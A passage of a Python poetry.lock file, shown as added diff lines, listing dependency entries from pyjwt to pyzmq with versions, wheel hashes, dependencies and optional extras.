= "sha256:6757cd03768053ff99f3039c1a36d6c0aa0b263438fcab17520b30a303a82b5f"}, +] + +[package.extras] +windows-terminal = ["colorama (>=0.4.6)"] + +[[package]] +name = "pyjwt" +version = "2.12.1" +description = "JSON Web Token implementation in Python" +optional = false +python-versions = ">=3.9" +groups = ["main"] +files = [ + {file = "pyjwt-2.12.1-py3-none-any.whl", hash = "sha256:28ca37c070cad8ba8cd9790cd940535d40274d22f80ab87f3ac6a713e6e8454c"}, + {file = "pyjwt-2.12.1.tar.gz", hash = "sha256:c74a7a2adf861c04d002db713dd85f84beb242228e671280bf709d765b03672b"}, +] + +[package.dependencies] +typing_extensions = {version = ">=4.0", markers = "python_version < \"3.11\""} + +[package.extras] +crypto = ["cryptography (>=3.4.0)"] +dev = ["coverage[toml] (==7.10.7)", "cryptography (>=3.4.0)", "pre-commit", "pytest (>=8.4.2,<9.0.0)", "sphinx", "sphinx-rtd-theme", "zope.interface"] +docs = ["sphinx", "sphinx-rtd-theme", "zope.interface"] +tests = ["coverage[toml] (==7.10.7)", "pytest (>=8.4.2,<9.0.0)"] + +[[package]] +name = "pymdown-extensions" +version = "10.21.2" +description = "Extension pack for Python Markdown." +optional = false +python-versions = ">=3.9" +groups = ["docs"] +files = [ + {file = "pymdown_extensions-10.21.2-py3-none-any.whl", hash = "sha256:5c0fd2a2bea14eb39af8ff284f1066d898ab2187d81b889b75d46d4348c01638"}, + {file = "pymdown_extensions-10.21.2.tar.gz", hash = "sha256:c3f55a5b8a1d0edf6699e35dcbea71d978d34ff3fa79f3d807b8a5b3fa90fbdc"}, +] + +[package.dependencies] +markdown = ">=3.6" +pyyaml = "*" + +[package.extras] +extra = ["pygments (>=2.19.1)"] + +[[package]] +name = "pyparsing" +version = "3.3.2" +description = "pyparsing - Classes and methods to define and execute parsing grammars" +optional = false +python-versions = ">=3.9" +groups = ["docs"] +files = [ + {file = "pyparsing-3.3.2-py3-none-any.whl", hash = "sha256:850ba148bd908d7e2411587e247a1e4f0327839c40e2e5e6d05a007ecc69911d"}, + {file = "pyparsing-3.3.2.tar.gz", hash = "sha256:c777f4d763f140633dcb6d8a3eda953bf7a214dc4eff598413c070bcdc117cbc"}, +] + +[package.extras] +diagrams = ["jinja2", "railroad-diagrams"] + +[[package]] +name = "pytest" +version = "8.4.2" +description = "pytest: simple powerful testing with Python" +optional = false +python-versions = ">=3.9" +groups = ["dev"] +files = [ + {file = "pytest-8.4.2-py3-none-any.whl", hash = "sha256:872f880de3fc3a5bdc88a11b39c9710c3497a547cfa9320bc3c5e62fbf272e79"}, + {file = "pytest-8.4.2.tar.gz", hash = "sha256:86c0d0b93306b961d58d62a4db4879f27fe25513d4b969df351abdddb3c30e01"}, +] + +[package.dependencies] +colorama = {version = ">=0.4", markers = "sys_platform == \"win32\""} +exceptiongroup = {version = ">=1", markers = "python_version < \"3.11\""} +iniconfig = ">=1" +packaging = ">=20" +pluggy = ">=1.5,<2" +pygments = ">=2.7.2" +tomli = {version = ">=1", markers = "python_version < \"3.11\""} + +[package.extras] +dev = ["argcomplete", "attrs (>=19.2)", "hypothesis (>=3.56)", "mock", "requests", "setuptools", "xmlschema"] + +[[package]] +name = "pytest-asyncio" +version = "1.3.0" +description = "Pytest support for asyncio" +optional = false +python-versions = ">=3.10" +groups = ["dev"] +files = [ + {file = "pytest_asyncio-1.3.0-py3-none-any.whl", hash = "sha256:611e26147c7f77640e6d0a92a38ed17c3e9848063698d5c93d5aa7aa11cebff5"}, + {file = "pytest_asyncio-1.3.0.tar.gz", hash = "sha256:d7f52f36d231b80ee124cd216ffb19369aa168fc10095013c6b014a34d3ee9e5"}, +] + +[package.dependencies] +backports-asyncio-runner = {version = ">=1.1,<2", markers = "python_version < \"3.11\""} +pytest = ">=8.2,<10" +typing-extensions = {version = ">=4.12", markers = "python_version < \"3.13\""} + +[package.extras] +docs = ["sphinx (>=5.3)", "sphinx-rtd-theme (>=1)"] +testing = ["coverage (>=6.2)", "hypothesis (>=5.7.1)"] + +[[package]] +name = "pytest-benchmark" +version = "5.2.3" +description = "A ``pytest`` fixture for benchmarking code. It will group the tests into rounds that are calibrated to the chosen timer." +optional = false +python-versions = ">=3.9" +groups = ["dev"] +files = [ + {file = "pytest_benchmark-5.2.3-py3-none-any.whl", hash = "sha256:bc839726ad20e99aaa0d11a127445457b4219bdb9e80a1afc4b51da7f96b0803"}, + {file = "pytest_benchmark-5.2.3.tar.gz", hash = "sha256:deb7317998a23c650fd4ff76e1230066a76cb45dcece0aca5607143c619e7779"}, +] + +[package.dependencies] +py-cpuinfo = "*" +pytest = ">=8.1" + +[package.extras] +aspect = ["aspectlib"] +elasticsearch = ["elasticsearch"] +histogram = ["pygal", "pygaljs", "setuptools"] + +[[package]] +name = "pytest-cov" +version = "7.1.0" +description = "Pytest plugin for measuring coverage." +optional = false +python-versions = ">=3.9" +groups = ["dev"] +files = [ + {file = "pytest_cov-7.1.0-py3-none-any.whl", hash = "sha256:a0461110b7865f9a271aa1b51e516c9a95de9d696734a2f71e3e78f46e1d4678"}, + {file = "pytest_cov-7.1.0.tar.gz", hash = "sha256:30674f2b5f6351aa09702a9c8c364f6a01c27aae0c1366ae8016160d1efc56b2"}, +] + +[package.dependencies] +coverage = {version = ">=7.10.6", extras = ["toml"]} +pluggy = ">=1.2" +pytest = ">=7" + +[package.extras] +testing = ["process-tests", "pytest-xdist", "virtualenv"] + +[[package]] +name = "pytest-env" +version = "1.2.0" +description = "pytest plugin that allows you to add environment variables." +optional = false +python-versions = ">=3.10" +groups = ["dev"] +files = [ + {file = "pytest_env-1.2.0-py3-none-any.whl", hash = "sha256:d7e5b7198f9b83c795377c09feefa45d56083834e60d04767efd64819fc9da00"}, + {file = "pytest_env-1.2.0.tar.gz", hash = "sha256:475e2ebe8626cee01f491f304a74b12137742397d6c784ea4bc258f069232b80"}, +] + +[package.dependencies] +pytest = ">=8.4.2" +tomli = {version = ">=2.2.1", markers = "python_version < \"3.11\""} + +[package.extras] +testing = ["covdefaults (>=2.3)", "coverage (>=7.10.7)", "pytest-mock (>=3.15.1)"] + +[[package]] +name = "pytest-httpserver" +version = "1.1.5" +description = "pytest-httpserver is a httpserver for pytest" +optional = false +python-versions = ">=3.10" +groups = ["dev"] +files = [ + {file = "pytest_httpserver-1.1.5-py3-none-any.whl", hash = "sha256:ee83feb587ab652c0c6729598db2820e9048233bac8df756818b7845a1621d0a"}, + {file = "pytest_httpserver-1.1.5.tar.gz", hash = "sha256:dc3d82e1fe00e491829d8939c549bf4bd9b39a260f87113c619b9d517c2f8ff1"}, +] + +[package.dependencies] +Werkzeug = ">=2.0.0" + +[[package]] +name = "pytest-httpx" +version = "0.35.0" +description = "Send responses to httpx." +optional = false +python-versions = ">=3.9" +groups = ["dev"] +files = [ + {file = "pytest_httpx-0.35.0-py3-none-any.whl", hash = "sha256:ee11a00ffcea94a5cbff47af2114d34c5b231c326902458deed73f9c459fd744"}, + {file = "pytest_httpx-0.35.0.tar.gz", hash = "sha256:d619ad5d2e67734abfbb224c3d9025d64795d4b8711116b1a13f72a251ae511f"}, +] + +[package.dependencies] +httpx = "==0.28.*" +pytest = "==8.*" + +[package.extras] +testing = ["pytest-asyncio (==0.24.*)", "pytest-cov (==6.*)"] + +[[package]] +name = "pytest-rerunfailures" +version = "16.1" +description = "pytest plugin to re-run tests to eliminate flaky failures" +optional = false +python-versions = ">=3.10" +groups = ["dev"] +files = [ + {file = "pytest_rerunfailures-16.1-py3-none-any.whl", hash = "sha256:5d11b12c0ca9a1665b5054052fcc1084f8deadd9328962745ef6b04e26382e86"}, + {file = "pytest_rerunfailures-16.1.tar.gz", hash = "sha256:c38b266db8a808953ebd71ac25c381cb1981a78ff9340a14bcb9f1b9bff1899e"}, +] + +[package.dependencies] +packaging = ">=17.1" +pytest = ">=7.4,<8.2.2 || >8.2.2" + +[[package]] +name = "pytest-timeout" +version = "2.4.0" +description = "pytest plugin to abort hanging tests" +optional = false +python-versions = ">=3.7" +groups = ["dev"] +files = [ + {file = "pytest_timeout-2.4.0-py3-none-any.whl", hash = "sha256:c42667e5cdadb151aeb5b26d114aff6bdf5a907f176a007a30b940d3d865b5c2"}, + {file = "pytest_timeout-2.4.0.tar.gz", hash = "sha256:7e68e90b01f9eff71332b25001f85c75495fc4e3a836701876183c4bcfd0540a"}, +] + +[package.dependencies] +pytest = ">=7.0.0" + +[[package]] +name = "python-daemon" +version = "3.1.2" +description = "Library to implement a well-behaved Unix daemon process." +optional = false +python-versions = ">=3.7" +groups = ["main"] +files = [ + {file = "python_daemon-3.1.2-py3-none-any.whl", hash = "sha256:b906833cef63502994ad48e2eab213259ed9bb18d54fa8774dcba2ff7864cec6"}, + {file = "python_daemon-3.1.2.tar.gz", hash = "sha256:f7b04335adc473de877f5117e26d5f1142f4c9f7cd765408f0877757be5afbf4"}, +] + +[package.dependencies] +lockfile = ">=0.10" + +[package.extras] +build = ["build", "changelog-chug", "docutils", "python-daemon[doc]", "wheel"] +devel = ["python-daemon[dist,test]"] +dist = ["python-daemon[build]", "twine"] +static-analysis = ["isort (>=5.13,<6.0)", "pip-check", "pycodestyle (>=2.12,<3.0)", "pydocstyle (>=6.3,<7.0)", "pyupgrade (>=3.17,<4.0)"] +test = ["coverage", "python-daemon[build,static-analysis]", "testscenarios (>=0.4)", "testtools"] + +[[package]] +name = "python-dateutil" +version = "2.9.0.post0" +description = "Extensions to the standard Python datetime module" +optional = false +python-versions = "!=3.0.*,!=3.1.*,!=3.2.*,>=2.7" +groups = ["dev", "docs"] +files = [ + {file = "python-dateutil-2.9.0.post0.tar.gz", hash = "sha256:37dd54208da7e1cd875388217d5e00ebd4179249f90fb72437e91a35459a0ad3"}, + {file = "python_dateutil-2.9.0.post0-py2.py3-none-any.whl", hash = "sha256:a8b2bc7bffae282281c8140a97d3aa9c14da0b136dfe83f850eea9a5f7470427"}, +] + +[package.dependencies] +six = ">=1.5" + +[[package]] +name = "python-discovery" +version = "1.2.2" +description = "Python interpreter discovery" +optional = false +python-versions = ">=3.8" +groups = ["dev"] +files = [ + {file = "python_discovery-1.2.2-py3-none-any.whl", hash = "sha256:e1ae95d9af875e78f15e19aed0c6137ab1bb49c200f21f5061786490c9585c7a"}, + {file = "python_discovery-1.2.2.tar.gz", hash = "sha256:876e9c57139eb757cb5878cbdd9ae5379e5d96266c99ef731119e04fffe533bb"}, +] + +[package.dependencies] +filelock = ">=3.15.4" +platformdirs = ">=4.3.6,<5" + +[package.extras] +docs = ["furo (>=2025.12.19)", "sphinx (>=9.1)", "sphinx-autodoc-typehints (>=3.6.3)", "sphinxcontrib-mermaid (>=2)"] +testing = ["covdefaults (>=2.3)", "coverage (>=7.5.4)", "pytest (>=8.3.5)", "pytest-mock (>=3.14)", "setuptools (>=75.1)"] + +[[package]] +name = "python-whois" +version = "0.9.6" +description = "Whois querying and parsing of domain registration information." +optional = false +python-versions = "*" +groups = ["dev"] +files = [ + {file = "python_whois-0.9.6-py3-none-any.whl", hash = "sha256:153261941a4d238b1278a4ca9b5b5e0590ed3b4d0c534ba111c4434d5d339410"}, + {file = "python_whois-0.9.6.tar.gz", hash = "sha256:2e6de7b6d70e305a85f4859cd17781ee3f0da3a02a8e94f23cb4cdcd2e400bfa"}, +] + +[package.dependencies] +python-dateutil = "*" + +[[package]] +name = "pyyaml" +version = "6.0.3" +description = "YAML parser and emitter for Python" +optional = false +python-versions = ">=3.8" +groups = ["main", "dev", "docs"] +files = [ + {file = "PyYAML-6.0.3-cp38-cp38-macosx_10_13_x86_64.whl", hash = "sha256:c2514fceb77bc5e7a2f7adfaa1feb2fb311607c9cb518dbc378688ec73d8292f"}, + {file = "PyYAML-6.0.3-cp38-cp38-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:9c57bb8c96f6d1808c030b1687b9b5fb476abaa47f0db9c0101f5e9f394e97f4"}, + {file = "PyYAML-6.0.3-cp38-cp38-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:efd7b85f94a6f21e4932043973a7ba2613b059c4a000551892ac9f1d11f5baf3"}, + {file = "PyYAML-6.0.3-cp38-cp38-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:22ba7cfcad58ef3ecddc7ed1db3409af68d023b7f940da23c6c2a1890976eda6"}, + {file = "PyYAML-6.0.3-cp38-cp38-musllinux_1_2_x86_64.whl", hash = "sha256:6344df0d5755a2c9a276d4473ae6b90647e216ab4757f8426893b5dd2ac3f369"}, + {file = "PyYAML-6.0.3-cp38-cp38-win32.whl", hash = "sha256:3ff07ec89bae51176c0549bc4c63aa6202991da2d9a6129d7aef7f1407d3f295"}, + {file = "PyYAML-6.0.3-cp38-cp38-win_amd64.whl", hash = "sha256:5cf4e27da7e3fbed4d6c3d8e797387aaad68102272f8f9752883bc32d61cb87b"}, + {file = "pyyaml-6.0.3-cp310-cp310-macosx_10_13_x86_64.whl", hash = "sha256:214ed4befebe12df36bcc8bc2b64b396ca31be9304b8f59e25c11cf94a4c033b"}, + {file = "pyyaml-6.0.3-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:02ea2dfa234451bbb8772601d7b8e426c2bfa197136796224e50e35a78777956"}, + {file = "pyyaml-6.0.3-cp310-cp310-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:b30236e45cf30d2b8e7b3e85881719e98507abed1011bf463a8fa23e9c3e98a8"}, + {file = "pyyaml-6.0.3-cp310-cp310-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:66291b10affd76d76f54fad28e22e51719ef9ba22b29e1d7d03d6777a9174198"}, + {file = "pyyaml-6.0.3-cp310-cp310-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:9c7708761fccb9397fe64bbc0395abcae8c4bf7b0eac081e12b809bf47700d0b"}, + {file = "pyyaml-6.0.3-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:418cf3f2111bc80e0933b2cd8cd04f286338bb88bdc7bc8e6dd775ebde60b5e0"}, + {file = "pyyaml-6.0.3-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:5e0b74767e5f8c593e8c9b5912019159ed0533c70051e9cce3e8b6aa699fcd69"}, + {file = "pyyaml-6.0.3-cp310-cp310-win32.whl", hash = "sha256:28c8d926f98f432f88adc23edf2e6d4921ac26fb084b028c733d01868d19007e"}, + {file = "pyyaml-6.0.3-cp310-cp310-win_amd64.whl", hash = "sha256:bdb2c67c6c1390b63c6ff89f210c8fd09d9a1217a465701eac7316313c915e4c"}, + {file = "pyyaml-6.0.3-cp311-cp311-macosx_10_13_x86_64.whl", hash = "sha256:44edc647873928551a01e7a563d7452ccdebee747728c1080d881d68af7b997e"}, + {file = "pyyaml-6.0.3-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:652cb6edd41e718550aad172851962662ff2681490a8a711af6a4d288dd96824"}, + {file = "pyyaml-6.0.3-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:10892704fc220243f5305762e276552a0395f7beb4dbf9b14ec8fd43b57f126c"}, + {file = "pyyaml-6.0.3-cp311-cp311-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:850774a7879607d3a6f50d36d04f00ee69e7fc816450e5f7e58d7f17f1ae5c00"}, + {file = "pyyaml-6.0.3-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:b8bb0864c5a28024fac8a632c443c87c5aa6f215c0b126c449ae1a150412f31d"}, + {file = "pyyaml-6.0.3-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:1d37d57ad971609cf3c53ba6a7e365e40660e3be0e5175fa9f2365a379d6095a"}, + {file = "pyyaml-6.0.3-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:37503bfbfc9d2c40b344d06b2199cf0e96e97957ab1c1b546fd4f87e53e5d3e4"}, + {file = "pyyaml-6.0.3-cp311-cp311-win32.whl", hash = "sha256:8098f252adfa6c80ab48096053f512f2321f0b998f98150cea9bd23d83e1467b"}, + {file = "pyyaml-6.0.3-cp311-cp311-win_amd64.whl", hash = "sha256:9f3bfb4965eb874431221a3ff3fdcddc7e74e3b07799e0e84ca4a0f867d449bf"}, + {file = "pyyaml-6.0.3-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:7f047e29dcae44602496db43be01ad42fc6f1cc0d8cd6c83d342306c32270196"}, + {file = "pyyaml-6.0.3-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:fc09d0aa354569bc501d4e787133afc08552722d3ab34836a80547331bb5d4a0"}, + {file = "pyyaml-6.0.3-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:9149cad251584d5fb4981be1ecde53a1ca46c891a79788c0df828d2f166bda28"}, + {file = "pyyaml-6.0.3-cp312-cp312-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:5fdec68f91a0c6739b380c83b951e2c72ac0197ace422360e6d5a959d8d97b2c"}, + {file = "pyyaml-6.0.3-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:ba1cc08a7ccde2d2ec775841541641e4548226580ab850948cbfda66a1befcdc"}, + {file = "pyyaml-6.0.3-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:8dc52c23056b9ddd46818a57b78404882310fb473d63f17b07d5c40421e47f8e"}, + {file = "pyyaml-6.0.3-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:41715c910c881bc081f1e8872880d3c650acf13dfa8214bad49ed4cede7c34ea"}, + {file = "pyyaml-6.0.3-cp312-cp312-win32.whl", hash = "sha256:96b533f0e99f6579b3d4d4995707cf36df9100d67e0c8303a0c55b27b5f99bc5"}, + {file = "pyyaml-6.0.3-cp312-cp312-win_amd64.whl", hash = "sha256:5fcd34e47f6e0b794d17de1b4ff496c00986e1c83f7ab2fb8fcfe9616ff7477b"}, + {file = "pyyaml-6.0.3-cp312-cp312-win_arm64.whl", hash = "sha256:64386e5e707d03a7e172c0701abfb7e10f0fb753ee1d773128192742712a98fd"}, + {file = "pyyaml-6.0.3-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:8da9669d359f02c0b91ccc01cac4a67f16afec0dac22c2ad09f46bee0697eba8"}, + {file = "pyyaml-6.0.3-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:2283a07e2c21a2aa78d9c4442724ec1eb15f5e42a723b99cb3d822d48f5f7ad1"}, + {file = "pyyaml-6.0.3-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:ee2922902c45ae8ccada2c5b501ab86c36525b883eff4255313a253a3160861c"}, + {file = "pyyaml-6.0.3-cp313-cp313-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:a33284e20b78bd4a18c8c2282d549d10bc8408a2a7ff57653c0cf0b9be0afce5"}, + {file = "pyyaml-6.0.3-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:0f29edc409a6392443abf94b9cf89ce99889a1dd5376d94316ae5145dfedd5d6"}, + {file = "pyyaml-6.0.3-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:f7057c9a337546edc7973c0d3ba84ddcdf0daa14533c2065749c9075001090e6"}, + {file = "pyyaml-6.0.3-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:eda16858a3cab07b80edaf74336ece1f986ba330fdb8ee0d6c0d68fe82bc96be"}, + {file = "pyyaml-6.0.3-cp313-cp313-win32.whl", hash = "sha256:d0eae10f8159e8fdad514efdc92d74fd8d682c933a6dd088030f3834bc8e6b26"}, + {file = "pyyaml-6.0.3-cp313-cp313-win_amd64.whl", hash = "sha256:79005a0d97d5ddabfeeea4cf676af11e647e41d81c9a7722a193022accdb6b7c"}, + {file = "pyyaml-6.0.3-cp313-cp313-win_arm64.whl", hash = "sha256:5498cd1645aa724a7c71c8f378eb29ebe23da2fc0d7a08071d89469bf1d2defb"}, + {file = "pyyaml-6.0.3-cp314-cp314-macosx_10_13_x86_64.whl", hash = "sha256:8d1fab6bb153a416f9aeb4b8763bc0f22a5586065f86f7664fc23339fc1c1fac"}, + {file = "pyyaml-6.0.3-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:34d5fcd24b8445fadc33f9cf348c1047101756fd760b4dacb5c3e99755703310"}, + {file = "pyyaml-6.0.3-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:501a031947e3a9025ed4405a168e6ef5ae3126c59f90ce0cd6f2bfc477be31b7"}, + {file = "pyyaml-6.0.3-cp314-cp314-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:b3bc83488de33889877a0f2543ade9f70c67d66d9ebb4ac959502e12de895788"}, + {file = "pyyaml-6.0.3-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:c458b6d084f9b935061bc36216e8a69a7e293a2f1e68bf956dcd9e6cbcd143f5"}, + {file = "pyyaml-6.0.3-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:7c6610def4f163542a622a73fb39f534f8c101d690126992300bf3207eab9764"}, + {file = "pyyaml-6.0.3-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:5190d403f121660ce8d1d2c1bb2ef1bd05b5f68533fc5c2ea899bd15f4399b35"}, + {file = "pyyaml-6.0.3-cp314-cp314-win_amd64.whl", hash = "sha256:4a2e8cebe2ff6ab7d1050ecd59c25d4c8bd7e6f400f5f82b96557ac0abafd0ac"}, + {file = "pyyaml-6.0.3-cp314-cp314-win_arm64.whl", hash = "sha256:93dda82c9c22deb0a405ea4dc5f2d0cda384168e466364dec6255b293923b2f3"}, + {file = "pyyaml-6.0.3-cp314-cp314t-macosx_10_13_x86_64.whl", hash = "sha256:02893d100e99e03eda1c8fd5c441d8c60103fd175728e23e431db1b589cf5ab3"}, + {file = "pyyaml-6.0.3-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:c1ff362665ae507275af2853520967820d9124984e0f7466736aea23d8611fba"}, + {file = "pyyaml-6.0.3-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:6adc77889b628398debc7b65c073bcb99c4a0237b248cacaf3fe8a557563ef6c"}, + {file = "pyyaml-6.0.3-cp314-cp314t-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:a80cb027f6b349846a3bf6d73b5e95e782175e52f22108cfa17876aaeff93702"}, + {file = "pyyaml-6.0.3-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:00c4bdeba853cc34e7dd471f16b4114f4162dc03e6b7afcc2128711f0eca823c"}, + {file = "pyyaml-6.0.3-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:66e1674c3ef6f541c35191caae2d429b967b99e02040f5ba928632d9a7f0f065"}, + {file = "pyyaml-6.0.3-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:16249ee61e95f858e83976573de0f5b2893b3677ba71c9dd36b9cf8be9ac6d65"}, + {file = "pyyaml-6.0.3-cp314-cp314t-win_amd64.whl", hash = "sha256:4ad1906908f2f5ae4e5a8ddfce73c320c2a1429ec52eafd27138b7f1cbe341c9"}, + {file = "pyyaml-6.0.3-cp314-cp314t-win_arm64.whl", hash = "sha256:ebc55a14a21cb14062aa4162f906cd962b28e2e9ea38f9b4391244cd8de4ae0b"}, + {file = "pyyaml-6.0.3-cp39-cp39-macosx_10_13_x86_64.whl", hash = "sha256:b865addae83924361678b652338317d1bd7e79b1f4596f96b96c77a5a34b34da"}, + {file = "pyyaml-6.0.3-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:c3355370a2c156cffb25e876646f149d5d68f5e0a3ce86a5084dd0b64a994917"}, + {file = "pyyaml-6.0.3-cp39-cp39-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:3c5677e12444c15717b902a5798264fa7909e41153cdf9ef7ad571b704a63dd9"}, + {file = "pyyaml-6.0.3-cp39-cp39-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:5ed875a24292240029e4483f9d4a4b8a1ae08843b9c54f43fcc11e404532a8a5"}, + {file = "pyyaml-6.0.3-cp39-cp39-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:0150219816b6a1fa26fb4699fb7daa9caf09eb1999f3b70fb6e786805e80375a"}, + {file = "pyyaml-6.0.3-cp39-cp39-musllinux_1_2_aarch64.whl", hash = "sha256:fa160448684b4e94d80416c0fa4aac48967a969efe22931448d853ada8baf926"}, + {file = "pyyaml-6.0.3-cp39-cp39-musllinux_1_2_x86_64.whl", hash = "sha256:27c0abcb4a5dac13684a37f76e701e054692a9b2d3064b70f5e4eb54810553d7"}, + {file = "pyyaml-6.0.3-cp39-cp39-win32.whl", hash = "sha256:1ebe39cb5fc479422b83de611d14e2c0d3bb2a18bbcb01f229ab3cfbd8fee7a0"}, + {file = "pyyaml-6.0.3-cp39-cp39-win_amd64.whl", hash = "sha256:2e71d11abed7344e42a8849600193d15b6def118602c4c176f748e4583246007"}, + {file = "pyyaml-6.0.3.tar.gz", hash = "sha256:d76623373421df22fb4cf8817020cbb7ef15c725b9d5e45f17e189bfc384190f"}, +] + +[[package]] +name = "pyyaml-env-tag" +version = "1.1" +description = "A custom YAML tag for referencing environment variables in YAML files." +optional = false +python-versions = ">=3.9" +groups = ["docs"] +files = [ + {file = "pyyaml_env_tag-1.1-py3-none-any.whl", hash = "sha256:17109e1a528561e32f026364712fee1264bc2ea6715120891174ed1b980d2e04"}, + {file = "pyyaml_env_tag-1.1.tar.gz", hash = "sha256:2eb38b75a2d21ee0475d6d97ec19c63287a7e140231e4214969d0eac923cd7ff"}, +] + +[package.dependencies] +pyyaml = "*" + +[[package]] +name = "pyzmq" +version = "27.1.0" +description = "Python bindings for 0MQ" +optional = false +python-versions = ">=3.8" +groups = ["main"] +files = [ + {file = "pyzmq-27.1.0-cp310-cp310-macosx_10_15_universal2.whl", hash = "sha256:508e23ec9bc44c0005c4946ea013d9317ae00ac67778bd47519fdf5a0e930ff4"}, + {file = "pyzmq-27.1.0-cp310-cp310-manylinux2014_i686.manylinux_2_17_i686.whl", hash = "sha256:507b6f430bdcf0ee48c0d30e734ea89ce5567fd7b8a0f0044a369c176aa44556"}, + {file = "pyzmq-27.1.0-cp310-cp310-manylinux_2_26_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:bf7b38f9fd7b81cb6d9391b2946382c8237fd814075c6aa9c3b746d53076023b"}, + {file = "pyzmq-27.1.0-cp310-cp310-manylinux_2_26_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:03ff0b279b40d687691a6217c12242ee71f0fba28bf8626ff50e3ef0f4410e1e"}, + {file = "pyzmq-27.1.0-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:677e744fee605753eac48198b15a2124016c009a11056f93807000ab11ce6526"}, + {file = "pyzmq-27.1.0-cp310-cp310-musllinux_1_2_i686.whl", hash = "sha256:dd2fec2b13137416a1c5648b7009499bcc8fea78154cd888855fa32514f3dad1"}, + {file = "pyzmq-27.1.0-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:08e90bb4b57603b84eab1d0ca05b3bbb10f60c1839dc471fc1c9e1507bef3386"}, + {file = "pyzmq-27.1.0-cp310-cp310-win32.whl", hash = "sha256:a5b42d7a0658b515319148875fcb782bbf118dd41c671b62dae33666c2213bda"}, + {file = "pyzmq-27.1.0-cp310-cp310-win_amd64.whl", hash = "sha256:c0bb87227430ee3aefcc0ade2088100e528d5d3298a0a715a64f3d04c60ba02f"}, + {file = "pyzmq-27.1.0-cp310-cp310-win_arm64.whl", hash = "sha256:9a916f76c2ab8d045b19f2286851a38e9ac94ea91faf65bd64735924522a8b32"}, + {file = "pyzmq-27.1.0-cp311-cp311-macosx_10_15_universal2.whl", hash = "sha256:226b091818d461a3bef763805e75685e478ac17e9008f49fce2d3e52b3d58b86"}, + {file = "pyzmq-27.1.0-cp311-cp311-manylinux2014_i686.manylinux_2_17_i686.whl", hash = "sha256:0790a0161c281ca9723f804871b4027f2e8b5a528d357c8952d08cd1a9c15581"}, + {file = "pyzmq-27.1.0-cp311-cp311-manylinux_2_26_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:c895a6f35476b0c3a54e3eb6ccf41bf3018de937016e6e18748317f25d4e925f"}, + {file = "pyzmq-27.1.0-cp311-cp311-manylinux_2_26_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:5bbf8d3630bf96550b3be8e1fc0fea5cbdc8d5466c1192887bd94869da17a63e"}, + {file = "pyzmq-27.1.0-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:15c8bd0fe0dabf808e2d7a681398c4e5ded70a551ab47482067a572c054c8e2e"}, + {file = "pyzmq-27.1.0-cp311-cp311-musllinux_1_2_i686.whl", hash = 